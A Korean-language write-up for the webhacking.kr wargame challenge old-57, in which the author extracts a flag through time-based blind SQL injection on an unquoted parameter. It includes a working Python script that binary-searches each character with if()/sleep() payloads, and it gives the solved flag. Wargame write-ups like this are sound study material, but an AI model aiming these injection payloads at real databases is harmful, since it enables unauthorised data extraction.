webhacking.kr old-57 write-up


문제 첫 화면이다. 비밀 메세지를 보내는거같다. 아무거나 입력하고 제출하니 Done이 출력된다. 소스코드를 살펴보자.

msg, se를 받아서 insert절을 수행한다. 그런데 문제는 insert만 있다는것이다. 입력한 데이터를 열어볼수 있는 방법이 없다. 즉, 입력만으로 저 $flag값을 알아내야한다. 여기서 if와 sleep을 사용해야겠다라는 생각을 떠올려내야한다. 필터링에 benchmark가 있는걸로 힌트를 준듯 하다. 친절하게 get['se']에는 single quote가 씌여있지 않다. 여기에 if를 사용하면 된다. flag가 pw column에 있으므로 pw의 length 부터 알아내자.

database = ''
for j in range(24):
    start = 40
    end = 129
    mid = 0
    while (start<=end):
        mid = int((start+end)/2)
        print('start : {}, mid : {}, end : {}.'.format(start,mid,end))
        before = time.time()
        url = "https://webhacking.kr/challenge/web-34/index.php?msg=asdf&se=if(ascii(substr(pw,{},1))={},sleep(1),0)".format(j+1,mid)
        res=requests.get(url)
        after = time.time()
            
        if after-before >= 1:
            database += chr(mid)
            print('find! {}'.format(database))
            break
        
        url = "https://webhacking.kr/challenge/web-34/index.php?msg=asdf&se=if(ascii(substr(pw,{},1))>{},sleep(1),0)".format(j+1,mid)
        before = time.time()
        res=requests.get(url)
        after = time.time()

        if after-before >= 1:
            start = mid+1
        else:
            end = mid-1

이진탐색으로 구현해서 다른 write-up에 있는 코드보다 빠르게 작동할 것이다. 결과값은 FLAG{y2u.be/kmPgjr0EL64} auth창에 입력해주면

solved!

굉장히 좋은 문제인듯하다.

좋은 웹페이지 즐겨찾기